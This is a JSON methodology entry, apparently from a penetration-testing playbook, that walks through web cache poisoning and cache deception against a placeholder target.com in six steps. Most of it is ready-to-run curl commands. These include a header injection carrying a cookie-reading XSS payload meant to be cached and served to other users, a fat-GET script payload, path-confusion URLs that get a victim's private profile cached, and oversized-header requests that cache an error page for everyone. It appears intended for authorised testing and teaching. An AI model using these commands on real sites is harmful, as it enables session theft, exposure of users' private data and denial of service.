{
  "slug": "web-cache-poisoning",
  "title": "Web Cache Poisoning & Deception",
  "phase": "Exploitation",
  "description": "Test for web cache poisoning via unkeyed inputs and cache deception via path confusion to serve malicious responses or leak private data to other users.",
  "difficulty": "high",
  "tags": [
    "exploitation",
    "cache-poisoning",
    "cache-deception",
    "unkeyed-input",
    "web-cache"
  ],
  "tools": [
    "Burp Suite",
    "Param Miner",
    "curl"
  ],
  "steps": [
    {
      "id": "cachepoison-01",
      "title": "Identify cacheable responses and cache keys",
      "description": "Find responses that are served from a shared cache and determine which components of the request form the cache key versus what is ignored.",
      "commands": [
        "# Inspect caching headers and hit/miss status",
        "curl -sk -i 'https://target.com/' | grep -iE '^(cache-control|age|x-cache|cf-cache-status|vary|etag|expires):'",
        "# Send the same request twice and watch X-Cache flip from miss to hit",
        "for i in 1 2; do curl -sk -o /dev/null -D - 'https://target.com/en/home' | grep -iE '^(age|x-cache|cf-cache-status):'; done"
      ],
      "notes": "Look for X-Cache, CF-Cache-Status, Age, and Cache-Control headers. A response whose Age increments and flips to a hit on the second request is cacheable. The Vary header tells you which request headers are part of the key."
    },
    {
      "id": "cachepoison-02",
      "title": "Discover unkeyed inputs with Param Miner",
      "description": "Use Param Miner to brute-force headers and parameters that influence the response but are excluded from the cache key, such as X-Forwarded-Host, X-Forwarded-Scheme, and X-Host.",
      "commands": [
        "# Burp: right-click request > Param Miner > Guess headers (enable 'Add fcbz cache buster')",
        "# Manual check for X-Forwarded-Host reflection using a cache buster",
        "curl -sk 'https://target.com/?cb=1' -H 'X-Forwarded-Host: evil.com' | grep -i 'evil.com'",
        "curl -sk 'https://target.com/?cb=2' -H 'X-Forwarded-Scheme: nothttps' | grep -iE 'http://|Location'"
      ],
      "notes": "Always add a unique cache buster (a junk query parameter) while probing so you do not poison the real cache during discovery. Param Miner's 'Guess headers' with the cache-buster option automates finding unkeyed inputs safely."
    },
    {
      "id": "cachepoison-03",
      "title": "Poison the cache via unkeyed header reflection",
      "description": "When an unkeyed header is reflected into the response, send a request that injects an XSS payload or malicious redirect, then confirm it is cached and served to other users.",
      "commands": [
        "# Inject a malicious host that gets reflected into an absolute URL or script src",
        "curl -sk 'https://target.com/en/home' -H 'X-Forwarded-Host: evil.com\\\"><script>alert(document.cookie)</script>'",
        "# Confirm the poisoned response is served without the header from a clean request",
        "curl -sk 'https://target.com/en/home' | grep -iE 'evil.com|<script>'"
      ],
      "notes": "Remove the cache buster only for the final poisoning request so the malicious response is stored against the real key. Verify impact by fetching the page from a separate session or IP without your injected header."
    },
    {
      "id": "cachepoison-04",
      "title": "Exploit cache key normalization and fat GET",
      "description": "Abuse inconsistencies in how the cache normalizes keys — case, trailing characters, encoded delimiters, or a request body on a GET (fat GET) — to poison or bypass the intended key.",
      "commands": [
        "# Fat GET: body parameter overrides query but may be unkeyed",
        "curl -sk -X GET 'https://target.com/?param=safe' --data 'param=<script>alert(1)</script>' -H 'Content-Type: application/x-www-form-urlencoded'",
        "# Cache key normalization: encoded characters that the cache and origin decode differently",
        "curl -sk 'https://target.com/home%23' -i | grep -iE '^(x-cache|age):'"
      ],
      "notes": "Some caches strip or normalize part of the URL before building the key while the origin sees the raw value. A fat GET works when the cache keys only the query string but the application also reads parameters from the body."
    },
    {
      "id": "cachepoison-05",
      "title": "Perform cache deception via path confusion",
      "description": "Trick the cache into storing a dynamic, authenticated page under a static-looking path so the victim's private response is cached and retrievable by an attacker.",
      "commands": [
        "# Request an authenticated page with a fake static extension the cache will store",
        "curl -sk -b 'session=VICTIMLIKE' 'https://target.com/account/profile.css' -i | grep -iE '^(x-cache|content-type):'",
        "# Path parameter and encoded delimiter variants",
        "curl -sk -b 'session=VICTIMLIKE' 'https://target.com/account/profile/..%2fnonexistent.js' -i | grep -iE '^(x-cache|content-type):'"
      ],
      "notes": "If the origin ignores the trailing .css and returns the profile page while the cache stores it as a static asset, an attacker can lure a victim to the URL and then read the cached private page. Test /account/profile.css, path parameters (;), and encoded slashes."
    },
    {
      "id": "cachepoison-06",
      "title": "Weaponize cache poisoning for denial of service",
      "description": "Poison the cache with a broken or oversized response (bad header, oversized header, redirect loop, or 400) so legitimate users are served the cached error, causing a denial of service.",
      "commands": [
        "# Oversized header that the origin rejects but the cache stores the error",
        "curl -sk 'https://target.com/en/home' -H \"X-Forwarded-Host: $(python3 -c 'print(\\\"a\\\"*8000)')\" -i | grep -iE '^(HTTP/|x-cache):'",
        "# Cache a permanent redirect or 400 against a popular path",
        "curl -sk 'https://target.com/en/home' -H 'X-Forwarded-Scheme: nothttps' -i | grep -iE '^(HTTP/|location):'"
      ],
      "notes": "Cache-poisoning DoS (CPDoS) turns an unkeyed input that triggers an origin error into a cached error page served to everyone. Confirm the cached error persists on clean requests, and report cautiously since this can disrupt real users."
    }
  ],
  "references": [
    "https://portswigger.net/web-security/web-cache-poisoning",
    "https://portswigger.net/web-security/web-cache-deception",
    "https://owasp.org/www-community/attacks/Cache_Poisoning",
    "https://github.com/PortSwigger/param-miner",
    "https://cpdos.org/"
  ],
  "version": "1.0.0",
  "updatedAt": "2026-07-05"
}